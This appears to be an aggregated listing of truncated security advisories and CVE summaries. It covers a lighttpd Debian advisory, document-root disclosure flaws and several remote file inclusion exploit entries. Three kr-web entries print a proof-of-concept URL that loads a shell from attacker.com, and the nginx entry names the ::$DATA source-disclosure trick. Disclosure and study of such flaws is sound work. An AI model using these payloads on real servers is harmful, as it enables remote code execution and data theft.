Debian DSA-2877-1 : lighttpd - security update

Several vulnerabilities were discovered in the lighttpd web server. - CVE-2014-2323 Jann Horn discovered that specially crafted host names can be used to inject arbitrary MySQL queries in lighttpd servers using the MySQL virtual hosting module modmysqlvhost. This only affects installations with t...

[SECURITY] [DSA 2877-1] lighttpd security update

------------------------------------------------------------------------- Debian Security Advisory DSA-2877-1 [email protected] http://www.debian.org/security/ Michael Gilbert March 12, 2014 http://www.debian.org/security/faq -...

Debian Security Advisory DSA 2877-1 (lighttpd - security update)

Several vulnerabilities were discovered in the lighttpd web server. CVE-2014-2323 Jann Horn discovered that specially crafted host names can be used to inject arbitrary MySQL queries in lighttpd servers using the MySQL virtual hosting module modmysqlvhost. This only affects installations with the...

Improper access control

DFLabs PTK 1.0.5 stores data files with predictable names under the web document root with insufficient access control, which allows remote attackers to read logs, images, or reports via a direct request to the file in the 1 log, 2 images, or 3 report directory...

Apache Mixed Platform AddType Directive Information Disclosure

The remote host appears to be running Apache. When Apache runs on a Unix host with a document root on a Windows SMB share, remote, unauthenticated attackers could obtain the unprocessed contents of the directory. For example, requesting a PHP file with a trailing backslash could display the file'...

CVE-2010-2336

index.php in Yamamah Photo Gallery 1.00 allows remote attackers to obtain the source code of executable files within the web document root via the download parameter...

CVE-2010-2263

nginx 0.8 before 0.8.40 and 0.7 before 0.7.66, when running on Windows, allows remote attackers to obtain source code or unparsed content of arbitrary files under the web document root by appending ::$DATA to the URI...

Automne.ws CMS 4.0.0rc2 Multiple RFI Vulnerability

Exploit for unknown platform in category web applications ================================================== Automne.ws CMS 4.0.0rc2 Multiple RFI Vulnerability ================================================== Automne.ws CMS 4.0.0rc2 Multiple RFI Vulnerability Created By 1nd0n3s14n l4m3r c --...

Power BB 1.8.3 - Remote File Inclusions

Power BB 1.8.3 - Remote File Inclusions Dada?lar Grup Komutanl??? | HackSpy | Zombie | KroNickq | DigitALL | NoFearx38 | 1923Turk Grup by DigitALL Sites : http://powerwd.net Download : http://www.phpexplorer.com/Goster/536 Download : http://sourceforge.net/projects/pbb/ Power BB 1.8.3 Remote File...

kr-web 1.1b2 - Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://server/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all member at...

kr-web 1.1b2 - Remote File Inclusion

kr-web 1.1b2 - Remote File Inclusion Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://server/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I...

KR-Web 1.1b2 Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://0wn3d.com/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all member at...

Improper access control

PAD Site Scripts 3.6 stores sensitive information under the web document root with insufficient access control, which allows remote attackers to download the database and obtain sensitive information via a direct request for dbbackup.txt...

CVE-2009-1941

PAD Site Scripts 3.6 stores sensitive information under the web document root with insufficient access control, which allows remote attackers to download the database and obtain sensitive information via a direct request for dbbackup.txt...

CVE-2009-1941

CVE-2009-1941 affects PAD Site Scripts 3.6. The vulnerability arises from storing sensitive information under the web document root with insufficient access control, allowing remote attackers to download the database via a direct request for dbbackup.txt. Impact is consistent with the CVSS v2 bas...

dwebpro 6.8.26 - Directory Traversal / File Disclosure

dWebPro v 6.8.26 ============================================ Remote Directory Tarvelsal && Remote File Disclosure p0c's ============================================ Download : http://www.dwebpro.com/downloads/dwebpro6.8.26.exe ============================================ Autor : Alfons Luja Test...

Viart shopping cart 3.5 - Multiple Vulnerabilities

=============================================================== !vuln ViArt Shopping Cart v3.5 is prone to multiple remote vulnerabilities. Earlier versions may also be affected. ===============================================================...

CVE-2008-2041

Multiple unspecified vulnerabilities in eGroupWare before 1.4.004 have unspecified attack vectors and "grave" impact when the web server has write access to a directory under the web document root...

CVE-2008-2003

BadBlue 2.72 Personal Edition stores multiple programs in the web document root with insufficient access control, which allows remote attackers to 1 cause a denial of service via multiple invocations of uninst.exe, and have an unknown impact via 2 badblue.exe and 3 dyndns.exe. NOTE: this can be...

Quick Classifieds 1.0 - controlpannelcreateL.php3?DOCUMENT_ROOT Remote File Inclusion

Quick Classifieds 1.0 - controlpannelcreateL.php3?DOCUMENTROOT Remote File Inclusion source: https://www.securityfocus.com/bid/28417/info Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issue...